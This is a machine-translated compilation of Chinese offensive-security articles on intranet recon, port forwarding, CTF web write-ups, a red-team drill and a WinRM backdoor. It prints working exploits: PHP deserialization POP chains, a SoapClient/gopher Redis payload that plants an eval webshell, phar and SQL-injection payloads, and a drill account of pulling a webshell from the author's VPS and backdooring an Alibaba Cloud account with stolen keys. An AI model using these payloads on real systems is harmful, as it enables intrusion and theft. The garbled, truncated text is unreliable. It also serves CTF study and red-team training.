msf The module uses post/windows/gather/forensics/enum_drives to obtain the disk partition status of the target host post/windows/gather/checkvm to determine whether the target host is a virtual machine post/windows/gather/enum_services to view the enabled services post/windows/gather/enum_applications to view the installed applications post/windows/gather/enum_shares to view shared post/windows/gather/dumplinks to view the recent operations of the target host post/windows/gather/enum_patches to view patch information scraper exports multiple information use or run module, and after setting parameters, expoilt linux information collection Linux information collection content is much less than Windows The history command is used to display historical execution commands. It can display 1,000 commands executed by the current user on the local computer. See more variable values for customizing HISTSIZE in /etc/profile file. Using the history -c command will clear the history of all commands. Each user's history is different last command to view all recent login records in the system. When executing the last command, the file /var/log/wtmp will be read. Username Terminal location Login IP or kernel Start time End time If it is a system vulnerability to increase authority, it does not belong to login, no record arp -vn clustering checks whether there is an arp address beyond the same group of services. Mac address corresponds to IP fixed, if Mac does not correspond to IP, it is arp spoofing /etc/hosts file storage domain name/hostname to IP mapping relationship Linux Collection under msf The module uses post/linux/gather/checkvm to determine whether the target host is a virtual machine post/linux/gather/enum_configs to view configuration information post/linux/gather/enum_network to view network post/linux/gather/enum_protections to view shared post/linux/gather/enum_system to view system and user information post/linux/gather/enum_users_histroy to view the recent operation of the target host post/linux/gather/hashdump to obtain the hash of linux, but I still want to emphasize that passive collection is important, and passive collection in intranet is much safer, but the cycle is very long. One point of initiative, one point of danger Summary of collection content Network card information, arp cache, routing cache, website configuration files, database, access log, browser history, netstat, hosts file, history, hash, plaintext password, website configuration account password, wifi, cmdkey Intranet forwarding The purpose of intranet forwarding. In theory, computers connected to the network can access each other, but they have not been implemented due to technical reasons. If a computer in a LAN only opens web services, it can only be used in the intranet and cannot be directly accessed by the external network. To allow external network users to directly access LAN services, intranet forwarding and other operations must be carried out Intranet forwarding principle Transfer through the server, map the internal port to the public IP, or forward the intranet port to the external server. Three forms of port forwarding intranet forwarding are used by the target machine to restrict access to a certain port. You can forward the port of this machine or the port of any host that this machine can access to to any public IP you need to access. Port mapping maps a port that cannot be accessed by the intranet to a port on the public network, thereby conducting an attack. For example, port :3389 Proxy forwarding is mainly used to serve as a springboard on the target machine, which can then attack the intranet. Four basic network situations: Attackers have independent external network IPs, and the servers that get shells also have independent external network IPs. Attackers have independent external network IPs. The servers that get shells are in the intranet, and only a few mapped ports attackers are in the intranet, and the servers are in the intranet. There are only a few mapped ports attackers are in the intranet. There are four situations: There are different ways to get servers. Port Forwarding Principle Port forwarding is the behavior of forwarding a network port from one network node to another. Make an external user from the outside through an activated NAT router to a port on a private internal IP address (inside the LAN). Simply put: port forwarding is to forward a port (this port can be the port of the native machine or the port of any host that can be accessed by the native machine) to any IP that can be accessed. Usually this IP is a public IP port forwarding scenario: The external network host A can already connect to the port on the intranet host B at any time, but cannot access the port on the intranet host C. At this time, the port of the C host can be forwarded to the port of the B host. Then, the external network host A accesses a certain port of the B host, which is equivalent to accessing a certain port of the C host. Port Forwarding Tool lcx lcx is a port forwarding tool that resides in socket implementation. It has two versions: Windows and Linux. It is called lcx.exe and Linux is called portmap. A normal socket tunnel must have two ends: server and client West of windows: Forwarding port: lcx.exe -slave Public IP Port Intranet IP Port Monitoring Port: lcx.exe -listen Forwarding port, there is no port mapping port in this machine that is not occupied: lcx.exe -tran Mapping port number ip Target port Local port mapping : If the target server is restricted by the firewall, the data of some ports cannot pass through the firewall, the data of the corresponding port of the target server can be transmitted to other ports allowed by the firewall lcx.exe -tran Mapping port number Target ip Target port Intranet port forwarding: When the following rules are as follows, the host cannot directly access the intranet. At this time, the web server needs to be used as a springboard, that is, the proxy to enable the attacking machine to access the intranet host Basic commands: 马云惹不起马云Forwarding port lcx.exe -slave Public IP port Intranet IP port 马云惹不起马云 Listen port lcx.exe -listen forwarding port No occupied port of this machine windows port forwarding instance Environment: The intranet host cannot access the external network, but can access the intranet machines of the same network segment. At the same time, port 80 can only be accessed locally, but port 8080 is open to the public. Step 1 : port 80 of the controlled server forwards to the local port 8080 lcx -tran 8080 127.0.0.1 80 Step 2: Connect to the server controlled by the intranet that can be accessed externally by the intranet lcx -slave 192.168.56.1 4444 192.168.56.101 8080 Step 3: Listen to the port lcx on an intranet machine that can be accessed externally -listen 4444 12345 Step 4: The external network machine accesses port 12345 of 192.168.56.1, that is, accesses 192.168.64.103:12345 from server 12345-server 4444-outer network 80-intranet 80 on external network 192.168.64.230 Linux: Usage :/portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] v:version -m: specifies method action parameters method=1: Listen to port 2 (port map) of port 1 connected to host 2 (port map) method=2: Listen to Port1 forwarding to port2 method=3: Connect the port corresponding to host 1 and the port corresponding to host 2 (port forwarding) For example,/portmap -m 2 -p1 6666 -h2 Public ip -p2 7777//Listen to requests from port 6666 and forward to 7777 frp FRP (fast reverse proxy) is a reverse proxy application developed in Go language. It can perform intranet penetration FRP support tcp\udp\http\httpsfrp Using machines located in the intranet or firewall, we provide http\https\tcp\udp service to the external network. For http, https service supports domain name-based virtual hosts and supports custom domain names. Multiple domain names share a 80-port downloaded frps, frps.ini is the server program and configuration file, frpc, frpc.ini is the client program and configuration file. Server settings and modification frp.ini File format: [common] bind_port=7000 #frp server listening 㐰 dashboard_port=7500 #web background listening port dashboard_user=admin #web background username and password dashboard_pwd=admin token=123456 #The connection password between the client and the server runs frps server side./frps -c frps.ini#-c means loading the configuration file Visit x.x.x.x:7500 and log in with your own username and password Client settings modify frpc.ini file [common] server_addr=192.168.152.217 #Server IP address server_port=7000 #Server Port token=123456 #Connection password set on the server [http] #Custom rules, [xxx] represents the rule name type=tcp #type: Forwarding Protocol Type local_ip=127.0.0.1 local_port=3389 #Port number of local application remote_port=7001 # After this rule is configured on the port number open to the server, complete frp.ini, cmd runs frpc (same as the server-c specifies the configuration file) Connect to the remote_port port of the server on the client outside the LAN This tool can connect to Linux across platforms, that is, Windows exe programs The above operation is equivalent to listening 7000 to 7001 and then connecting metasploit portfwd Introduction A tool built into the meterpreter shell that directly accesses machines that are inaccessible to the attack system. Run this command on a damaged host that can access the attack machine and the target machine. You can forward the TCP connection through the local machine and become a fulcrum. Options -L: The local host to be monitored (optional). -l : The local port to be listened to, the connection to this port will be forwarded to the remote system. -p: The remote port to which the TCP connection will forward the port to which the TCP connection will be connected -r: The IP address of the remote host to be connected to parameter Add : This parameter is used to create forwarding portfwd add -I local listening port number -p target port number -r target machine IP address Delete : This will delete the previous entry from the forwarding port list.portfwd delete -I Local listening port number -p Destination port number -r Destination machine IP address List : lists all ports currently forwarded portfwd list Flush : This will delete all ports in the forwarding list This is not very stable, not as good as frp, lcx is not very useful. Proxy category: HTTP proxy, socks proxy, telnet proxy, ssl proxy Proxy tools: EarthWorm, reGeorg (http proxy), proxifier (win), sockscap64 (win), proxychains (linux) The intranet is connected to the external network through a proxy as a forward proxy, and the intranet is connected to the intranet through a proxy as a reverse proxy. Load balancing server: Distribute user's requests to an idle server. socks proxy When accessing a website through a proxy server, the socks server acts as an intermediary, communicates with both parties respectively and informs the other party of the result. As long as the socks proxy is configured, there is no need to specify the accessed target. Socks and http agents use tcp traffic, which means that the UDP protocol cannot use these two proxy proxy and port forwarding: proxy port forwarding requires Socks protocol support without the need for one-to-many protocol, accessing the network one-to-one, and helping others access a certain port, socks proxy can be understood as lcx port forwarding. It listens to a service port on the server. When there is a connection request, it will parse the target port accessing the target URL from the socks protocol. The meaning is that if there is an agent, there is no need for his mother port forwarding. He also makes his mind dizzy after turning the port around and turning it around. The agent does not need so many fancy ones. proxychains proxychains is an open source proxy tool that can be proxied globally under Linux. proxychains force connection to specified applications through a user-defined proxy list, supporting the http\socks4\socks5 type. Before using the tool, you must configure the tool. Configuration file :/etc/proxychains.conf Delete the dynamic_chain comment Add proxy server proxychains at the bottom. The software name is used to start any software with the proxy. regeorg tool regeorg mainly forwards the intranet server port to the local machine through the http/https tunnel, forming a loop for the target server to connect to the target server on the intranet or when a port policy is made. The internal open port of the target server is used to establish a socks proxy for intranet penetration. The server must support a regeorg in aspx\php\jsp divided into server and client. There are many kinds of servers, such as php\aspx\jsp\node.js, and the client is python, so when using it, find the corresponding script in the file. regeorg use and use it in combination with proxychains. pip install installation assuming that the server is php version, upload the php in regeorg to the server, directly access the 'georg says,'all seems fine'', to run :python reGeorgSocksProxy.py -u target machine reGeorg script address -p local listening port and another terminal to modify the proxychains.conf configuration file, delete the dynamic_chain annotation, add a line to the ProxyList socks5 127.0.0.1 local listening port, and add other comments
-
Title: DASCTF2022 —— October Tournament Web Part Writeup
EasyPOP The problem environment is php 7.4, so you can directly change all attribute types to public The starting point is the __destruct() of the sorry class, which is called by echo $this-hint to the __toString() method of the show class, and then jump to the __call() of the secret_code class by executing $this-ctf-show(), and then to the show() method, access the non-existent attribute in the show() method, jump to the __get() of the sorry class, and finally jump to the __invoke() of the fine class through $name() The pop chain is constructed as follows ?php class fine { public $cmd; public $content; } class show { public $ctf; public $time; } class sorry { public $name; public $password; public $hint; public $key; } class secret_code { public $code; } $e=new fine(); $e-cmd='system'; $e-content='cat /flag'; $d=new sorry(); $d-key=$e; $c=new secret_code(); $c-code=$d; $b=new Show(); $b-ctf=$c; $a=new sorry(); $a-name='123'; $a-password='123'; $a-hint=$b; echo serialize($a); Finally change the number and bypass __wakeup http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:'sorry':4:{s:4:'name';s:'123';s:8:'password';s:'hint';O:4:'show':2:{s:'ctf';O:11:'sec ret_code':1:{s:4:'code';O:5:'sorry':4:{s:4:'name';N;s:8:'password';N;s:4:'hint';N;s:'key';O:4:'fine':{s:'cmd';s:6:'system';s:7:'content';s:93:'cat /flag';}}}s:4:'time';N;}s:3:'key';N;} hade_waibo cancan need to read any file http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=showfilename=file.php file.php .. ?php error_reporting(0); session_start(); include 'class.php'; if($_SESSION['isLogin'] !==true){ die('scriptalert('Login for Thanks.');location.href='index.php'/script'); } $form=' form action='file.php?m=upload' method='post' enctype='multipart/form-data' input type='file' name='file' button class='mini ui button' font style='vertical-align: inherit;'font style='vertical-align: inherit;' submit /font/font/button /form'; $file=new file(); switch ($_GET['m']) { case 'upload': if(empty($_FILES)){die($form);} $type=end(explode('.', $_FILES['file']['name'])); if ($file-check($type)) { die($file-upload($type)); }else{ die('Do you eat oil cakes'); } break; case 'show': die($file-show($_GET['filename'])); break; case 'rm': $file-rmfile(); die('All deleted and pinched'); break; case 'logout': session_destroy(); die('scriptalert('Logined out');location.href='index.php'/script'); break; default: echo 'h2Halo! '.$_SESSION['username'].'/h2'; break; } ? .. class.php ‘?php class User { public $username; public function __construct($username){ $this-username=$username; $_SESSION['isLogin']=True; $_SESSION['username']=$username; } public function __wakeup(){ $cklen=strlen($_SESSION['username']); if ($cklen !=0 and $cklen=6) { $this-username=$_SESSION['username']; } } public function __destruct(){ if ($this-username=='') { session_destroy(); } } } class File { #Update the blacklist to a whitelist, making it safer public $white=array('jpg','png'); public function show($filename){ echo 'div class='ui action input'input type='text' id='filename' placeholder='Search.'button class='ui button' onclick='window.location.href=\'file.php?m=showfilename=\'+document.getElementById(\'filename\').value'Search/button/divp'; if(empty($filename)){die();} return 'img src='data:image/png;base64,'.base64_encode(file_get_contents($filename)).'' /'; } public function upload($type){ $filename='dasctf'.md5(time().$_FILES['file']['name']).'.$type'; move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $filename); return 'Upload success! Path: upload/' . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this-white)){ return false; } return true; } } #Updated a malicious and interesting Test class class Test { public $value; public function __destruct(){ chdir('./upload'); $this-backdoor(); } public function __wakeup(){ $this-value='Don't make dream.Wake up plz!'; } public function __toString(){ $file=substr($_GET['file'],0,3); file_put_contents($file, 'Hack by $file !'); return 'Unreachable!)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this-value)){ $this-value='nono~'; } system($this-value); } } The Test class can be used, the first thing I think about is phar deserialization You can use .executing commands to bypass the regular The idea is to upload the phar file first, and then upload a jpg, which contains the command to be executed Note that the name of jpg should be in front of the phar, for example, the name of the phar is dasctfe4.jpg, and the name of the jpg containing the command must be dasctfc2.jpg or dasctf01.jpg (the ascii code is smaller) However, when trying, I found that bypassing wakeup seems not good. Then I remembered that when I was doing EasyLove questions, there was a start.sh deployment script in the root directory. Based on the description of the question, tips:flag in a file under the/directory, so I just read the start.sh directly. Read /ghjsdk_F149_H3re_asdasfc to get flag EasyLove According to the redis described in the title, it is guessed that it is to getshell via ssrf + redis $this-love=new $this-wllm($this-arsenetang,$this-l61q4cheng); This sentence is obviously to execute ssrf through a certain class. As we all know, the redis protocol is very loose and supports the use of http to send packets, while the SoapClient class native to php can send http Payload as follows ?php class swpu{ public $wllm; public $arseneng; public $l61q4cheng; public $love; } $a=new swpu(); $a-wllm='SoapClient'; $a-arsenetang=null; $target='http://127.0.0.1:6379/'; $poc='flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '?=eval(\$_REQUEST[1])?'\r\nsave'; $a-l61q4cheng=array('location'=$target, 'uri'='hello\r\n'.$poc.'\r\nhello'); echo urlencode(serialize($a)); Keep stuck during the trial (normal phenomenon), and visiting shell.php also shows 404 So I guessed that redis may have authentication. I read the hint class in the question, and obtained the content of hint.php through file_get_contents(). Directly deserialize hint without echo. As a result, when I wanted to try file_get_contents()+ gopher, I read hint.php by accident. ?php class hint{ public $hint; } $a=new hint(); $a-hint='gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D% 0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A'; echo serialize($a); http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:'hint':1:{s:4:'hint';s:404:'go pher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp% 20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A% 2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';} Guess 20220311 is the password of redis So the final payload is as follows ?php class swpu{ public $wllm; public $arseneng; public $l61q4cheng; public $love; } $a=new swpu(); $a-wllm='SoapClient'; $a-arsenetang=null; $target='http://127.0.0.1:6379/'; $poc='auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset
-
Title: A special offensive and defense drill for a prefecture-level city
0x00 Introduction 2022.8.X unit suddenly notified to participate in a special offensive and defense drill in a certain industry, and participated in a wave for the purpose of learning. Here we record it. 0x01 Hands in Obtain the target unit name First check the target and the information of the target subordinate units through tools such as Aiqicha and Tianyancha Tools available: ENEScan_GO Next is the information collection three axes Subdomain name, IP, port Collect subdomain names: OneForAll (the API needs to be configured more fully), Subfinder, FOFA, Hunter Collect IPs: Eeyes, domain2ip Port scan: Goby, Nmap, Masscan The Goby full-port scanning is used here, and the scanning speed is worrying, but the advantage is that it is relatively comprehensive and has better display effect. After scanning the port, filter out Web and non-Web-class ports, which facilitates precise attacks. Web classes can first perform fingerprint recognition, and prioritize attacks on some key framework systems, such as (Shiro, Tongda OA, UFIDA NC, etc.) Non-web classes can be screened out for service blasting. You can try some special ports first, such as 6379 Redis 0x02 Getting a breakthrough After some operation, through the above points, a system with Shiro framework was obtained. This system was transferred to the SSO platform by default after accessing the path. To enter the system, the entrance must be logged in and verified by SSO platform. However, after manual password testing, it was found that it was a bit difficult to enter the SSO system through weak passwords, so I strategically gave up. First use Shiro deserialization tool to check whether there are RCE vulnerabilities. Here is a suggestion. Different tools may not necessarily throw key and utilization chains. When you are testing, try to change a few more tools to test. I changed three tools here to get the key and utilization chains. Other tools just can't get out (either the problem of the Key dictionary, or simply can't get out.) Linux machine, whoami Root permissions, pingwww.baidu.com is available. First use linux statements to find the directory address according to the static file name of the website find/-name 404.jsp Directly to the root directory of the website you can access wget the JSP horse on my VPS, and then connect to the ant sword. After searching /webapps, I found that there are 3 systems + SSO systems Guess you can access 3 other systems as long as you have SSO verification. Then start flipping the configuration file Under the path /webapps/xxx/WEB-INF/classes/ A dbconfig.properties file was found, and the connection information between MySQL and Redis was found. (I won't put it in more things to code) MySQL is from Alibaba Cloud, not from the intranet. After looking at it, I found that the machine I used to use is a cloud host. Bai was happy and thought about the next step to check if MysQL can log in to SSO, and then search for any files and leaked configuration information and then finish work. After connecting mysql, I saw the SSO library and the other three systems' libraries, but the most urgent thing is to see if I can log in to SSO first. View the sso_pwd field in the SSO table Found to be encrypted. Not ordinary encryption yet. (Living in Bengbu.) 0x03 The dark willows and bright flowers Just when I was about to finish writing a report, a file named config.properties caught my attention. Click to check and find out what! SSO encrypted key pairs and Aliyun's accesskeyID and Secret take off! 0x04 Decrypt SSO password RSA encryption, RSA decryption - Online tools - OKTools The password was generated randomly. I will never explode in this life. Log in to the SSO system Then I entered the 3 systems through the passwords of other libraries in the database, and I stopped putting the pictures (too many things to code.). 0x05 Take over the cloud platform The article by Master TeamSix that I saw a few days ago happened to be reappearing today, which is very pleasant. I used CF to penetrate his cloud intranet | T Wiki (teamssix.com) CF tool address: teamssix/cf: Cloud Exploitation Framework Cloud Environment Utilization Framework, which facilitates red team members to follow up on obtaining AK (github.com) cf alibaba ls View cloud resources 1 bucket buckets + 2 OSS resources + 1 ECS resource cf alibaba console Add backdoor user to take over Alibaba Cloud console In access control, we see that the current permission is: AdministratorAccess means that we have obtained the administrator rights of the tenant Look at OSS resources and ECS resources OSS: ECS: At this point, I finished writing a report and finishing my work. 0x06 Summary A wave of AK taking over the cloud platform is reproduced, and I feel that I have gained a lot. I believe that cloud security will become a breakthrough in offensive and defensive drills in the future. In addition, the attack path this time was a bit too smooth. Whether it was to find the Shiro framework or to find the RSA key pair and AK configuration information through the configuration files, I once thought it was a honeypot. Extra: When I was writing the report, I chatted with my teammates, but I didn’t expect that this site was still the target. I can only say that offense and defense drills are very important. Original connection: https://forum.butian.net/share/1854
-
Title《你安全吗》 Interpretation of the technical aspects
This article only analyzes the technologies involved in film and television dramas, and does not explain the plot in detail. If you are interested, you can check it out. PS: technical analysis is carried out in the plot sequence (1~4) episodes Foreword At the beginning of the TV, I showed me the first attack technology, a malicious power bank. It seems that I use a power bank to charge my phone, but during the charging process, I have obtained user information. Use adb command to obtain photo information on your phone to achieve the implementation principle This method involves 《利用树莓派监控女盆友手机》 in my previous article. It is actually very simple. It is to use the adb command to obtain the information of the phone. Of course, you can also use the adb command to install the shell. Difficulty to achieve Easy, just turn on the phone developers to choose first. But in reality, the phone developer option is turned off by default. It will not be possible in the case of television. Information Collection Collect information based on WeChat Moments Check the latest updates in the circle of friends by not seeing friends and obtaining relevant information about the other party. In addition, it was speculated that the heroine's husband was in a cheating situation. Cousin suggests If you don’t need it for work, try to turn off this function in WeChat. Information collection based on WeChat steps Through the WeChat steps, can you get what you are doing now? If you just woke up at 8 o'clock in the morning and your friend's steps have reached 5,000 steps, it means that he is very likely to be running and exercising. Information collection based on phishing links I have also written similar articles in my cousin's previous article. Through the probe, you can simply obtain the target's IP address, GPS information, photos, recordings, etc. However, as the security performance of the mobile phone improves, there will be pop-up prompts. Using Baidu Netdisk to backup data This is often encountered in life. Moreover, after installing Baidu Netdisk, backup address book and other information is enabled by default. You can give it a try! (It is best to replace the avatar too, so that it is real) Use Didi to share your itinerary Through the above plan, the protagonist successfully obtained the other party’s mobile phone number and found the relevant account through WeChat. Of course, the computer of the network security expert was poisoned. Cracking the driver's letter Of course, the director gave the password here. If it were the complexity of the password in reality, it would probably not be successfully cracked when the drama ended. Control the Internet cafe network This should be managed using operation and maintenance apps or mini programs. Not very difficult. Applications of Social Engineering Get useful information from the other party by picking up garbage. Therefore, in daily life, if orders such as express delivery and takeaway are not processed, they will cause certain information leakage. Through the other party’s account information, enumerate other account information, such as Tieba, Weibo, QQ space, to obtain the other party’s relevant personal information. WiFi Probe Long before, CCTV 315 exposed cases of WiFi probe stealing user information. The principle is that when the user's mobile phone wireless LAN is turned on, a signal will be sent to the surrounding areas to find the wireless network. Once the probe box discovers this signal, it can quickly identify the user's mobile phone's MAC address, convert it into an IMEI number, and then convert it into a mobile phone number. Therefore, some companies place this small box in shopping malls, supermarkets, convenience stores, office buildings, etc. and collect personal information without the user's knowledge, even big data personal information such as marriage, education level, and income. android shell As can be seen from the video, the very basic msf controls android commands. But it is a bit exaggerated to be able to directly manipulate mobile phone editing. wifi fishing Use fluxion for WiFi fishing. PS(4-8) episodes only analyze the technology in film and television dramas, and the plot and characters are not explained. Then, in order to obtain data from the fraud group, I sneaked to the computer room to download the server data. The software used here should use XFTP. This is also a physical attack! Physical Attack The so-called physical attack means that an attacker cannot find relevant vulnerabilities at the software level or system. If you cannot win the target for the time being, you will go to the field for investigation and sneak into the target through social engineering and other methods to attack. This kind of attack is the most deadly. Tools used in the network security competition. In the previous shot, it should be to use Owasp to scan the target website for vulnerabilities. To be honest, the page has not moved, I don’t know what I scanned! After the Owasp scanner entered the second level of protection, the third game should still be the msf interface. Set the msf configuration parameters, but there has been no exploit and I don't know what to wait for. When the countdown is three minutes, SQLmap injection should have started. As can be seen from the video, the command used is the use of sqlmap -r 1.txt --batch --level 5 -v current-usersqlmap, which has been mentioned more in previous articles. The above command should be used to obtain the current system user through post injection. Parameter interpretation: -r 1. The target request data is stored in txt. Generally, burp is used to catch packets and save them as txt. -- The user does not need to enter YES or NO during batch execution, and the default value YES prompted by sqlmap will be used to run continuously. --level risk level, default is 1. When level is 5, many payloads will be tested, and the efficiency will be reduced. –current-user Gets the current username. Summary The network security tools involved in TV series are all common network security knowledge we usually have. The film and television dramas have expanded slightly, but from the perspective of the plot, it is still very good. Especially while popularizing network security knowledge to the public, it closely links topics related to the people such as online water army, online fraud, pig killing, online loans, etc. At the end of the video, some network security knowledge will be popularized to everyone, which is worth recommending! Reprinted from the article source: https://blog.bbskali.cn/3666.html
-
Title: Port reuse backdoor summary
WinRM implements port multiplexing This attack method requires an account and password. If you obtain hash, you can also use evil-winrm to achieve hash login. Service Introduction The full name of WinRM is Windows Remote Management, which is part of Microsoft's server hardware management function, and can manage local or remote servers. The WinRM service allows administrators to log in to the Windows operating system remotely and obtain an interactive command line shell similar to Telnet, while the underlying communication protocol uses HTTP. Backdoor Application In the windows2012 server, winrm is started by default, port 5985 is enabled, and the service needs to be manually enabled in the 2008 system. winrm quickconfig -q After startup, the firewall will also release the port Set to enable httplistener listening coexistence winrm set winrm/config/service @{EnableCompatibilityHttpListener='true'} //80 winrm set winrm/config/service @{EnableCompatibilityHttpsListener='true'} //443 Modify the listening port to 80/443 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port='80'} winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Port='443'} Local connection also requires turning on WinRM service and then setting up a trusted host. winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts='*'} winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 'whoami' WinRM PTH Implement pth using evil-winrm under mac sudo gem install evil-winrm evil-winrm -i 172.16.142.151 -u administrator -H 8842
-
Title: A summary of a practical offensive and defense drill
0x01 External website service Asset Discovery Multi-surveying and mapping platform search https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/ Multi-grammatical search If a target site is xxxx.com, we can collect assets through different syntaxes, and the collected assets will be more comprehensive. Take Fofa as an example here domain='xxxx.com' host='xxxx.com' header='xxxx.com' cert='xxxx.com' Sensitive information leakage For information collection of school sites, generally speaking, there are few points that can be obtained from external networks. Most web applications are placed behind VPNs, so it can be said that it will be twice the result with half the effort to get a VPN account. At this time, this information can be mined through syntax. Commonly used commands are as follows: #google syntax site:*.edu.cn intext: vpn | Username | Password | Account | Default Password #github *.edu.cn password During this offensive and defense drill, I was lucky enough to find the default password for a certain site's VPN, using the name pinyin/12345678 weak password Default Password For some sites, the default account password may not be changed after the construction is completed. At this time, you can try to use the default account password to log in. Here are some common default passwords for web sites account: admin administrator root user test password: admin admin123 123456 123 test root For some widely used systems, you can search for their default passwords through Google syntax Here, successfully log in to the Fanwei backend through sysadmin/1 nacos/nacos Common exploits For multi-target offensive and defensive drills, it is better for individuals to collect target subdomain urls than to do, and then batch import them into fingerprint recognition tools, such as Goby and Fofahub Filter out important assets from fingerprint recognition results for breakthroughs, use known vulnerabilities or day to attack Here are some batch exploit tools: https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0 https://github.com/d3ckx1/Fvuln https://github.com/W01fh4cker/Serein Framework classes such as log4j, shiro, struts2, etc. OA categories such as Zhiyuan, Fanwei, UFIDA, Lan Ling, etc. are also the target UFIDA NC sites that have found UJIUNIC NC writes shell Access the interface /servlet/~ic/bsh.servlet.BshServlet to execute commands After detecting dnslog, it was found that it could not be found out of the network. It is written directly into the webshell here. 1. First generate a Godzilla jsp Trojan, and then perform unicode encoding. 2. Then url encoding the output result 3. The payload field is as follows. The default path written here is webapps/nc_web, which can be flexible in actual combat. String keyWord=URLDecoder.decode('
-
Title: 2022 Fifth Space Cyber Security Competition WriteUp
1. WEB 1.web_BaliYun After entering, a file is uploaded, and only pictures can be uploaded. Visit www.zip to get the source code Website source code: index.php:php include('class.php'); if(isset($_GET['img_name'])){ $down=newcheck_img();#here echo$down-img_check(); } if(isset($_FILES['file']['name'])){ $up=newupload(); echo$up-start(); } ? class.php:php classupload{ public$filename; public$ext; public$size; public$Valid_ext; publicfunction__construct(){ $this-filename=$_FILES['file']['name']; $this-ext=end(explode('.',$_FILES['file']['name'])); $this-size=$_FILES['file']['size']/1024; $this-Valid_ext=array('gif','jpeg','jpg','png'); } publicfunctionstart(){ return$this-check(); } privatefunctioncheck(){ if(file_exists($this-filename)){ return 'Imagealreadyexsists'; }elseif(!in_array($this-ext,$this-Valid_ext)){ return 'OnlyImageCanBeUploaded'; }else{ return$this-move(); } } privatefunctionmove(){ move_uploaded_file($_FILES['file']['tmp_name'],'upload/'.$this-filename); return 'Uploadsuccsess!'; } publicfunction__wakeup(){ echofile_get_contents($this-filename);#here2 } } classcheck_img{ public$img_name; publicfunction__construct(){ $this-img_name=$_GET['img_name'];#here } publicfunctionimg_check(){ if(file_exists($this-img_name)){#here1 return 'Imageexsists'; }else{ return 'Imagennoteexsists'; } } } It is obvious that phar is deserialized, upload and then include it. The code also gives the upload directory as upload and the file name has not changed. For more information about phar deserialization, please refer to Detailed explanation of php deserialization expansion attack--phar: https://xz.aliyun.com/t/6699 Phar and Stream Wrapper cause in-depth mining of PHP RCE : https://xz.aliyun.com/t/2958 #test.php ?php classupload{ public$filename; publicfunction__construct(){ $this-filename='file:///flag'; } } $phar=newPhar('Tao.phar'); $phar-stopBuffering(); $phar-setStub('GIF89a'.'?php__HALT_COMPILER();'); $phar-addFromString('test.txt','test'); $payload=newupload(); $phar-setMetadata($payload); $phar-stopBuffering(); php--definedphar.readonly=0test.php mvTao.pharTao.gif I saw the function file_exists that can start phar in the class. And functions that can read flags. Then the idea is very clear. Directly upload a Tao.gif, the content is the upload class, and the property filename is /flag. Then pass the img_name to phar://upload/Tao.gif to trigger our phar package Upload Tao.gif, then?img_name=phar://upload/Tao.gif can get flag. ouo@GOTA:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif|grep'flag' ............. GET/index.php?img_name=phar://upload/Tao.gifHTTP/1.1 Host:39.107.82.169:27417 User-Agent:curl/7.58.0 Accept:*/* HTTP/1.1200OK Date:Mon,19Sep202210:42:08GMT Server:Apache/2.4.25(Debian) X-Powered-By:PHP/5.6.40 Vary:Accept-Encoding Content-Length:1925 Content-Type:text/html;charset=UTF-8 ............. flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg} 2.easylogin SQL injection. When burp caught the packet, it found gbk garbled code and realized it was wide byte injection. username=admin%df'password=admin Report an error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin�'' at line 1 Test joint injection discovery : always has syntax errors. After troubleshooting, it is found that select and union will be replaced with empty, so it is simpler to bypass it by using double write. Direct joint injecting passwords cannot be logged in. I think that the regular site development password will be md5, so I use md5 to encrypt it. Since I cannot use quotes, I choose hexadecimal bypass. Create a virtual table and log in directly. The background logic is MD5 comparison. There is a similar original question username=admin%df%27ununion%0aseselectlect%0a66,66,0x3437626365356337346635383966343836376462643537653963613966383038#password=aaa The question prompts a weak password, and the password is blasted admin123 GET/index.php?ip=127.0.0.1%0AlsHTTP/1.1 Host:39.107.75.148:19304 Pragma:no-cache Cache-Control:no-cache Upgrade-Insecure-Requests:1 User-Agent:Mozilla/5.0 (WindowsNT10.0; WOW64)AppleWebKit/537.36 (KHTML, likeGecko)Chrome/86.0.4240.198Safari/537.36 